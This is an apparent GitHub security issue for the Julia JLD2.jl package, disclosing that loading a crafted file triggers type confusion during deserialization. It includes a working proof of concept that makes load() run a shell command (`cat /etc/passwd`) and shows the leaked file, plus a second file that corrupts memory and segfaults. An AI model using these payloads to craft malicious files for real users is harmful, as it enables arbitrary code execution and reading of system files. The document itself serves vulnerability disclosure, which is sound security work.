Security issue: Type confusion, convert called during deserialization
I take the lack of further response to https://github.com/JuliaIO/JLD2.jl/issues/115 as "yes, potential security issues can currently go on the public bugtracker and don't warrant coordinated disclosure / non-public patch development / CVE assignment". On the other hand, I take it that this is a security issue (bug, not feature).
Example for creating a bad file:
julia> using JLD2, FileIO
julia> a=Any[1]; b=view(a, [1]);
julia> typeof(b)
SubArray{Any,1,Array{Any,1},Tuple{Array{Int64,1}},false}
julia> struct SArray{tup, typ, n, m}
data::Tuple{SubArray{Any,1,Array{Any,1},Tuple{Array{Int64,1}},false}}
end
julia> sa = SArray{Tuple{1}, Vector{Any}, 1, 1}((b,));
julia> b.indices[1][1]=7;
julia> save("foo7.jld2", "sa", sa);
Reading it creates an inconsistent state that crashes on the next gc run:
julia> using StaticArrays, JLD2, FileIO
julia> load("foo7.jld2");
julia> GC.gc()
signal (11): Segmentation fault
I am pretty sure that it should be possible to get code-exec via memory corruption.
I think that it is plausible to get reliable code-execution via type confusion, e.g. by triggering a getindex on a serialized Broadcasted object that calls Meta.parse, Meta.eval and run. I have not found a widely imported function that calls getindex during conversion if the object I plug in is not an AbstractArray (and Broadcasted is not an abstract array).
This specific example is related to https://github.com/JuliaLang/julia/issues/25743 and a possibly spurious convert in StaticArrays.
The same PoC as for BSON.jl applies for JLD2:
julia> using JLD2, FileIO
julia> struct SubArray{T,N,P,I,L}<:AbstractArray{T,N}
parent
indices
offset1
stride1
end
julia> br=Base.Broadcast.Broadcasted(run, ([`cat /etc/passwd`],));
julia> v=SubArray{Any,1, Any,Tuple{Array{Int64,1}}, false}(br, ([1],), 0, 0);
julia> w=SubArray{Any,1, Any,Tuple{Array{Int64,1}}, false}(1:5, (v,), 0, 0);
julia> save("poc.jld2", Dict("a"=>w));
In a new session:
julia> using JLD2, FileIO
julia> load("poc.jld2");
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
[...]
Fatal error:
ERROR: MethodError: Cannot `convert` an object of type Base.Process to an object of type Int64
[...]